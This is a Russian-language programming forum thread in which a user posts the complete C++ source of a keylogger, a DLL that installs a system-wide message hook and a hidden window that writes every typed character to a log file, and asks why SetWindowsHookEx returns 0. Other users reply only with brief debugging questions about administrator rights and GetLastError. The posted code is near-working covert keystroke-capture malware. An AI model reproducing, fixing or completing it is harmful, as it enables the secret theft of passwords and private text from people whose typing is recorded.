Модераторы: feodorv, GremlinProg, xvr, Fixin
  

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> dll и SetWindowsHookEx, установка хука 
:(
    Опции темы
Dalt
Дата 21.1.2011, 11:27 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 11
Регистрация: 21.1.2011

Репутация: нет
Всего: нет



среда devc++
Код

//mklog_dll.cpp
#include "dll.h" 
 
LRESULT CALLBACK HookProc(int,WPARAM,LPARAM);
HINSTANCE hInstance = NULL;

#pragma data_seg(".SData")
HHOOK hMsgHook = NULL; 
 
UINT KBoardMessage = 0; //NULL; 

HWND hParentWnd = NULL;
#pragma data_seg( )
 
#pragma comment(linker,"/SECTION:.SData,RWS")
 

BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, 
                                     LPVOID lpReserved)
{
if (ul_reason_for_call == DLL_PROCESS_ATTACH)
hInstance = (HINSTANCE)hModule;
 
return TRUE;
}

LRESULT CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if (nCode >= 0)
{
MSG * msg = (MSG * )lParam; 

 
if ((lParam)
&&(msg->message == WM_CHAR)
&&(wParam == PM_REMOVE))
 
PostMessage (hParentWnd, KBoardMessage, msg->wParam, 0 ); }

return CallNextHookEx (hMsgHook, nCode ,wParam , lParam); 
 
}

MYHOOKDLL_API int SetHook(HWND hWnd, UINT UpdateMsg)
{
if (hWnd==NULL) MessageBox(NULL,"Хендл главного окна передать не удалось",
                                            "Message",MB_OK);
 
 
hParentWnd=hWnd;
KBoardMessage=UpdateMsg;

hMsgHook= SetWindowsHookEx(WH_GETMESSAGE,
HookProc, 
hInstance,
0);//NULL

if (hMsgHook!=NULL) {
MessageBox(NULL,"Хук установить удалось","Message",MB_OK);
}
else
{
MessageBox(NULL,"Хук установить не удалось","Message",MB_OK);
}
 

 
 
 
return 0;
 
}
 
MYHOOKDLL_API int UnSetHook()
{
UnhookWindowsHookEx (hMsgHook);
 
MessageBox(NULL,"Хук уален","Message",MB_OK); 
 
return 0;
 
}

..............................................................................................................................................
//dll.h
#define MYHOOKDLL_API __declspec(dllexport)
 
#include <windows.h>//Подгрузка библиотек с функциями WINAPI.
 
extern "C"
{
MYHOOKDLL_API int SetHook( HWND,UINT ); //Будущая функция установки хука
MYHOOKDLL_API int UnSetHook();//Соответственно функция удаления хука.
}

..............................................................................................................................................
//mklog.cpp
#include <windows.h>
#include <stdio.h>
 
LRESULT CALLBACK DCDemoWndProc (HWND, UINT, UINT, LONG);
 
#define WM_HOOKMESSAGE WM_USER+1
 
int ( * SetHook)( HWND,UINT);
int (* UnSetHook)();
 
HINSTANCE hDllInst;
HWND hWnd;
 
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpszCmdParam, int nCmdShow)
{
WNDCLASS WndClass;
MSG Msg;
char szClassName[]="DCDemo";
 
//
WndClass.style=CS_HREDRAW|CS_VREDRAW;
WndClass.lpfnWndProc=DCDemoWndProc;
WndClass.cbClsExtra=0;
WndClass.cbWndExtra=0;
WndClass.hInstance=hInstance;
WndClass.hIcon=LoadIcon(NULL,IDI_APPLICATION);
WndClass.hCursor=LoadCursor(NULL,IDC_ARROW);
WndClass.hbrBackground=(HBRUSH)GetStockObject(WHITE_BRUSH);
WndClass.lpszMenuName="MyMenu";
WndClass.lpszClassName=szClassName;
 
if (!RegisterClass(&WndClass))
{
MessageBox(NULL,"Cannot register class","Error",MB_OK);
return 0;
}
hWnd=CreateWindow(szClassName, "Программа 1", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT,
CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,hInstance,
NULL);

ShowWindow(hWnd,SW_HIDE);
UpdateWindow(hWnd);
 
hDllInst = LoadLibrary((LPCTSTR) "1.dll");
 
if (!hDllInst)
{
MessageBox(NULL,"DLL DO NOT LOAD","Message",MB_OK);
}
else
{
SetHook = (int ( *)(HWND, UINT ))GetProcAddress(hDllInst,"SetHook");
UnSetHook = (int ( *)( ))GetProcAddress(hDllInst, "UnSetHook");
 
}
SetHook(hWnd,WM_HOOKMESSAGE);
 

while(GetMessage(&Msg,NULL,0,0))
{
TranslateMessage(&Msg);
DispatchMessage(&Msg);
}
return Msg.wParam;
}
 
LRESULT CALLBACK DCDemoWndProc(HWND hWnd, UINT Message, UINT wParam, LONG lParam)
{
 
 
FILE *f= fopen("a.log","a");
 
switch(Message)
{
 
case WM_DESTROY:
PostQuitMessage(0);
UnSetHook();
if (hDllInst) FreeLibrary(hDllInst);
return 0;
 
case WM_HOOKMESSAGE:
switch(wParam)
{

case 0x08: fprintf(f,"");break;
case 0x0D: fprintf(f,"\n");break;

case 0x1B:
fclose(f);
UnSetHook();
PostQuitMessage(0);
if (hDllInst) FreeLibrary(hDllInst);break;
return 0;
case 0x10: fprintf(f,"Shift");break;
case 0x09: fprintf(f,"Tab");break;
case 0x20: fprintf(f,"_");break;
 
default:
fprintf(f,"%c",wParam); 
}
break;
 
}
return DefWindowProc(hWnd,Message,wParam,lParam);
}

 
Неудается установить хук(  Почему SetWindowsHookEx возвращает 0?
PM MAIL   Вверх
bass
Дата 23.1.2011, 19:33 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 315
Регистрация: 5.8.2007

Репутация: 2
Всего: 2



Под админом?????
PM MAIL   Вверх
Dalt
Дата 23.1.2011, 21:16 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 11
Регистрация: 21.1.2011

Репутация: нет
Всего: нет



Ну да. Дело как мне кажется в том что исходный код написан на VC++ а я пытаюсь его скомпилировать на Dev
PM MAIL   Вверх
xvr
Дата 24.1.2011, 15:25 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Комодератор
Сообщений: 7046
Регистрация: 28.8.2007
Где: Дублин, Ирландия

Репутация: 40
Всего: 223



Цитата(Dalt @  21.1.2011,  11:27 Найти цитируемый пост)
Почему SetWindowsHookEx возвращает 0?
Интереснее что возвращает GetLastError()?


PM MAIL   Вверх
  
Ответ в темуСоздание новой темы Создание опроса
Правила форума "C/C++: Системное программирование и WinAPI"
Fixin
GremlinProg
xvr
feodorv
  • Большое количество информации и примеров с использованием функций WinAPI можно найти в MSDN
  • Описание сообщений, уведомлений и примеров с использованием компонент WinAPI (BUTTON, EDIT, STATIC, и т.п.), можно найти в MSDN Control Library
  • Непосредственно, перед созданием новой темы, проверьте заголовок и удостоверьтесь, что он отражает суть обсуждения.
  • После заполнения поля "Название темы", обратите внимание на наличие и содержание панели "А здесь смотрели?", возможно Ваш вопрос уже был решен.
  • Приводите часть кода, в которой предположительно находится проблема или ошибка.
  • Если указываете код, пользуйтесь тегами [code][/code], или их кнопочными аналогами.
  • Если вопрос решен, воспользуйтесь соответствующей ссылкой, расположенной напротив названия темы.
  • Один топик - один вопрос!
  • Перед тем как создать тему - прочтите это .

На данный раздел распространяются Правила форума и Правила раздела С++:Общие вопросы .


Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, Chipset, Step, Fixin, GremlinProg, xvr. feodorv.

 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | C/C++: Системное программирование и WinAPI | Следующая тема »


 




[ Время генерации скрипта: 0.1776 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.